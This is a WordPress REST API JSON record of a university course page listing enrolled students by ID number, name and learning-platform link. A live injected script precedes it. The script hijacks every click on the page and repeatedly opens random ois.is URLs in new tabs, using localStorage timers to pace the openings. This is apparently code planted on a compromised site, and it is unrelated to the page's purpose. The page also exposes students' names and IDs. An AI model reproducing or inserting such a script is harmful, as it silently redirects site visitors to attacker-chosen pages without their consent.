<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1444,"date":"2020-02-19T15:49:56","date_gmt":"2020-02-19T07:49:56","guid":{"rendered":"http:\/\/edu.secda.info\/phil999_course01\/?page_id=1444"},"modified":"2020-03-19T05:12:10","modified_gmt":"2020-03-18T21:12:10","slug":"%e4%bf%ae%e8%aa%b2%e5%ad%b8%e7%94%9f","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/phil999_course01\/?page_id=1444","title":{"rendered":"\u4fee\u8ab2\u5b78\u751f"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"1444\" class=\"elementor elementor-1444\" data-elementor-settings=\"[]\">\r\n\t\t\t\t\t\t<div class=\"elementor-inner\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-section-wrap\">\r\n\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-fafea35 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"fafea35\" data-element_type=\"section\">\r\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\r\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-a2c7736\" data-id=\"a2c7736\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-da9ecf0 elementor-tabs-view-horizontal elementor-widget elementor-widget-tabs\" data-id=\"da9ecf0\" data-element_type=\"widget\" data-widget_type=\"tabs.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t\t\t<div class=\"elementor-tabs\">\r\n\t\t\t<div class=\"elementor-tabs-wrapper\" role=\"tablist\" >\r\n\t\t\t\t\t\t\t\t\t<div id=\"elementor-tab-title-2291\" class=\"elementor-tab-title elementor-tab-desktop-title\" aria-selected=\"true\" data-tab=\"1\" role=\"tab\" tabindex=\"0\" aria-controls=\"elementor-tab-content-2291\" aria-expanded=\"false\"><a href=\"\">\u4fee\u8ab2\u5b78\u751f\u540d\u55ae<\/a><\/div>\r\n\t\t\t\t\t\t\t\t\t<div id=\"elementor-tab-title-2292\" class=\"elementor-tab-title elementor-tab-desktop-title\" aria-selected=\"false\" data-tab=\"2\" role=\"tab\" tabindex=\"-1\" aria-controls=\"elementor-tab-content-2292\" aria-expanded=\"false\"><a href=\"\">\u5206\u7d44\u540d\u55ae<\/a><\/div>\r\n\t\t\t\t\t\t\t<\/div>\r\n\t\t\t<div class=\"elementor-tabs-content-wrapper\" role=\"tablist\" aria-orientation=\"vertical\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"elementor-tab-title elementor-tab-mobile-title\" aria-selected=\"true\" data-tab=\"1\" role=\"tab\" tabindex=\"0\" aria-controls=\"elementor-tab-content-2291\" aria-expanded=\"false\">\u4fee\u8ab2\u5b78\u751f\u540d\u55ae<\/div>\r\n\t\t\t\t\t<div id=\"elementor-tab-content-2291\" class=\"elementor-tab-content elementor-clearfix\" data-tab=\"1\" role=\"tabpanel\" aria-labelledby=\"elementor-tab-title-2291\" tabindex=\"0\" hidden=\"false\"><h5><span style=\"color: #000000;\"><a style=\"color: #000000;\" title=\"\u5c0f\u6587 \u5b78\u7fd2\u5e73\u53f0\" href=\"http:\/\/edu.secda.info\/m06\/\" target=\"_blank\" rel=\"home noopener\">M0823006\u00a0 \u9ec3\u84ee\u7b46 \u5b78\u7fd2\u5e73\u53f0<\/a><\/span><\/h5><h5><a href=\"http:\/\/edu.secda.info\/spyu_z\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #000000;\">M0823004 \u8607\u59f5\u5b87 \u5b78\u7fd2\u5e73\u53f0<\/span><\/a><\/h5><h5><a href=\"http:\/\/edu.secda.info\/m0823001\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #000000;\">M0823001 \u67ef\u6c9b\u8fb0 \u5b78\u7fd2\u5e73\u53f0<\/span><\/a><\/h5><h5><a href=\"http:\/\/edu.secda.info\/quy123456\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #000000;\">M0823005 \u9673\u91d1\u9f9c \u5b78\u7fd2\u5e73\u53f0<\/span><\/a><\/h5><h5><a href=\"http:\/\/edu.secda.info\/asd93248\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #000000;\">M0823009 \u90b1\u68ee\u958e \u5b78\u7fd2\u5e73\u53f0<\/span><\/a><\/h5><h5><a href=\"http:\/\/edu.secda.info\/abelchen\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #000000;\">M0823007 \u9673\u9e92\u6587 \u5b78\u7fd2\u5e73\u53f0<\/span><\/a><\/h5><h5><a href=\"http:\/\/edu.secda.info\/hi150\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #000000;\">M0823002 \u7f85\u73ee\u82b8 \u5b78\u7fd2\u5e73\u53f0<\/span><\/a><\/h5><h5><a href=\"http:\/\/edu.secda.info\/kunlin1997\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #000000;\">M0823003 \u8b1d\u6606\u9716 \u5b78\u7fd2\u5e73\u53f0<\/span><\/a><\/h5><h5><a href=\"http:\/\/edu.secda.info\/chings\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #000000;\">M0823010 \u738b\u54f2\u749f \u5b78\u7fd2\u5e73\u53f0<\/span><\/a><\/h5><h5><a href=\"http:\/\/edu.secda.info\/xhon96\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #000000;\">M0823013 \u912d\u6fa4\u6615 \u5b78\u7fd2\u5e73\u53f0<\/span><\/a><\/h5><h5><a href=\"http:\/\/edu.secda.info\/wmb0331\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #000000;\">M0823011 \u5433\u9298\u658c \u5b78\u7fd2\u5e73\u53f0<\/span><\/a><\/h5><h5><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"http:\/\/edu.secda.info\/fangshuo0913\/\" target=\"_blank\" rel=\"noopener\">A0623104\u7b26\u82b3\u78a9 \u5b78\u7fd2\u5e73\u53f0<\/a><\/span><\/h5><h5><a href=\"http:\/\/edu.secda.info\/tom40212\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #000000;\">A0623088\u5442\u627f\u5112\u5b78\u7fd2\u5e73\u53f0<\/span><\/a><\/h5><div>\u00a0<\/div><\/div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"elementor-tab-title elementor-tab-mobile-title\" aria-selected=\"false\" data-tab=\"2\" role=\"tab\" tabindex=\"-1\" aria-controls=\"elementor-tab-content-2292\" aria-expanded=\"false\">\u5206\u7d44\u540d\u55ae<\/div>\r\n\t\t\t\t\t<div id=\"elementor-tab-content-2292\" class=\"elementor-tab-content elementor-clearfix\" data-tab=\"2\" role=\"tabpanel\" aria-labelledby=\"elementor-tab-title-2292\" tabindex=\"0\" hidden=\"hidden\"><\/div>\r\n\t\t\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/section>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t","protected":false},"excerpt":{"rendered":"<p>\u4fee\u8ab2\u5b78\u751f\u540d\u55ae \u5206\u7d44\u540d\u55ae \u4fee\u8ab2\u5b78\u751f\u540d\u55ae M0823006\u00a0 \u9ec3\u84ee\u7b46 \u5b78\u7fd2\u5e73\u53f0 M0<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":6,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/1444"}],"collection":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1444"}],"version-history":[{"count":15,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/1444\/revisions"}],"predecessor-version":[{"id":1857,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/1444\/revisions\/1857"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1444"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}